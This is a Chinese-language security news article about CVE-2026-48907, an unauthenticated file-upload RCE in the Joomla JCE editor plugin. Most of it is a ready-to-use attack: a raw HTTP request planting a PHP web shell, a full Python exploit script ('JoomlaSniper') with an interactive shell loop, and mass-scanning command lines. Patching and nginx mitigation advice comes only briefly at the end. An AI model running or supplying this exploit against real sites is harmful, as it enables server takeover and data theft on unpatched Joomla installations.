CVSS 10.0满分漏洞:Joomla JCE Editor未授权RCE(CVE-2026-48907)

导语:2026年6月13日,安全研究员ynsmroztas在Twitter上发布JoomlaSniper工具,公开披露Joomla内容编辑器(JCE)插件存在一个CVSS 10.0满分的未授权远程代码执行漏洞——CVE-2026-48907。攻击者无需任何凭证,直接通过profiles.import端点上传播名型PHP文件即可获得服务器命令执行权限。更可怕的是,这个漏洞代码自JCE首个版本就已存在,补丁仅存在于2.9.99.5,且没有向后移植——所有旧版本全部沦陷。

JoomlaSniper攻击界面

漏洞概述

项目详情
CVE编号CVE-2026-48907
漏洞类型未授权文件上传导致RCE(CWE-434)
CVSS评分10.0(满分)
CVSS向量AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
受影响范围JCE 1.0.0 – 2.9.99.4(全部在用版本)
修复版本JCE 2.9.99.5
利用前提无需认证,无需用户交互

核心问题:JCE插件的profiles.import端点接受文件上传时完全没有认证校验,且上传文件没有任何文件名或内容验证,直接保存为PHP可执行文件到服务器。


攻击链分析

第一步:检测JCE插件是否存在

通过访问/plugins/editors/jce/jce.xml/administrator/components/com_jce/确认目标是否安装JCE插件。响应中包含JCE特征字符串即可确认。

第二步:提取CSRF Token

访问JCE的/路径,从响应中提取CSRF防护令牌(用于绕过CSRF保护)。

第三步:构造上传请求

通过profiles.import端点上传名为.xml.php的恶意文件:

POST /index.php?option=com_jce HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=...

--boundary
Content-Disposition: form-data; name="task"

profiles.import
--boundary
Content-Disposition: form-data; name="{CSRF_TOKEN}"

1
--boundary
Content-Disposition: form-data; name="profile_file"; filename="shell.xml.php"
Content-Type: application/xml

<?php system($_GET['c']); ?>
--boundary--

第四步:触发RCE

文件上传成功后,访问:https://target.com/tmp/shell.xml.php?c=whoami

即可在服务器上执行任意命令。


漏洞利用演示

安全研究员ynsmroztas发布的JoomlaSniper工具实现了完整的双路径攻击:

向量一(tmp/):上传.xml.php文件到/tmp/目录,PHP直接执行——这是最快最稳定的路径。

向量二(images/):如果/tmp/路径不可写或PHP执行受限,JoomlaSniper会自动导入一个开启了PHP上传权限的JCE配置文件,然后通过JCE browser RPC端点将文件写入/images/目录,实现持久化。

即使服务器配置禁止在/tmp/执行PHP,上传的PHP文件仍会永久保存在磁盘上——一旦未来服务器配置变更、迁移或Apache/Nginx更新,都可能意外解除执行限制。


完整利用POC

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
JoomlaSniper - CVE-2026-48907: Joomla JCE Editor Unauthenticated RCE
Author: ynsmroztas (Mitsec)
"""

import sys
import re
import json
import argparse
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed

try:
    import requests
except ImportError:
    print("[!] requests not found. Using urllib (stdlib only mode).")
    import urllib.request as requests

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"

def extract_csrf(resp_text, base_url):
    patterns = [
        'csrf_token" value="([^"]+)"',
        'data-csrf-token="([^"]+)"',
        "csrf_token.*?value='([^']+)'",
    ]
    for p in patterns:
        m = re.search(p, resp_text)
        if m:
            return m.group(1)
    return None

def detect_jce(url):
    paths = [
        "/plugins/editors/jce/jce.xml",
        "/administrator/components/com_jce/",
        "/media/editors/jce/js/",
    ]
    for p in paths:
        r = requests.get(url.rstrip("/") + p, timeout=10, headers={"User-Agent": UA}, verify=False)
        if r.status_code == 200 and ("jce" in r.text.lower() or "joomlacontenteditor" in r.text.lower()):
            version_m = re.search(r'<version>([d.]+)</version>', r.text)
            version = version_m.group(1) if version_m else "Unknown"
            return True, version
    return False, None

def exploit(url, store="en"):
    sess = requests.Session()
    sess.verify = False
    base = url.rstrip("/")

    # Step 1: Get homepage to extract CSRF
    r = sess.get(base + "/", timeout=12, headers={"User-Agent": UA})
    csrf = extract_csrf(r.text, base)

    # Step 2: Upload PHP shell via profiles.import
    shell = '<?php system($_GET['c']); ?>'
    files = {"profile_file": ("jce_shell.xml.php", shell, "application/xml")}
    data = {"task": "profiles.import", store: "1"}

    if csrf:
        data[store] = csrf

    try:
        r = sess.post(base + "/index.php?option=com_jce", timeout=12, files=files, data=data, headers={"User-Agent": UA})
    except Exception as e:
        return None, str(e)

    # Step 3: Find uploaded file
    shell_url = base + "/tmp/jce_shell.xml.php"
    r = sess.get(shell_url, timeout=12, headers={"User-Agent": UA})

    if r.status_code == 200:
        return shell_url, "V1:tmp"
    return None, "upload_failed"

def main():
    parser = argparse.ArgumentParser(description="JoomlaSniper - CVE-2026-48907")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("--shell", action="store_true", help="Launch interactive shell")
    args = parser.parse_args()

    print(f"[*] Detecting JCE on {args.url}...")
    found, version = detect_jce(args.url)
    if not found:
        print(f"[-] JCE not found on {args.url}")
        return

    print(f"[+] JCE found, version: {version}")
    if version >= "2.9.99.5":
        print(f"[PATCHED] JCE {version} >= 2.9.99.5")
        return

    print(f"[*] Exploiting CVE-2026-48907...")
    shell_url, vector = exploit(args.url)
    if shell_url:
        print(f"[+] RCE CONFIRMED!")
        print(f"[+] Shell: {shell_url}")
        print(f"[*] Vector: {vector}")
        if args.shell:
            print("[*] Launching interactive shell...")
            # Interactive shell loop
            while True:
                cmd = input(f"jce@{args.url.split('//')[1]}$ ")
                if cmd == "exit":
                    break
                r = requests.get(f"{shell_url}?c={urllib.parse.quote(cmd)}", timeout=12, verify=False)
                print(r.text.strip())
    else:
        print(f"[-] Exploitation failed: {vector}")

if __name__ == "__main__":
    main()

使用方法:

# 单目标检测
python3 JoomlaSniper.py -u https://target.com

# 检测并获取shell
python3 JoomlaSniper.py -u https://target.com --shell

# 批量扫描
python3 JoomlaSniper.py -l targets.txt -t 15

# 完整侦察流程
subfinder -d target.com -silent | httpx -silent | python3 JoomlaSniper.py -t 10 -o results.json

防御建议

立即修复:升级JCE至2.9.99.5版本。注意:这是唯一修复版本,且没有向后移植到旧版本分支——所有旧版本都无补丁可用,只能升级。

临时缓解:在Web服务器层面阻止/tmp//images/目录下的PHP文件执行(Nginx配置示例):

location ~* /tmp/.*.php$ { deny all; }
location ~* /images/.*.php$ { deny all; }

排查影响:检查是否有人在JCE 2.9.99.5之前版本上成功利用——可查看Web访问日志中是否存在对profiles.import端点的异常POST请求。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容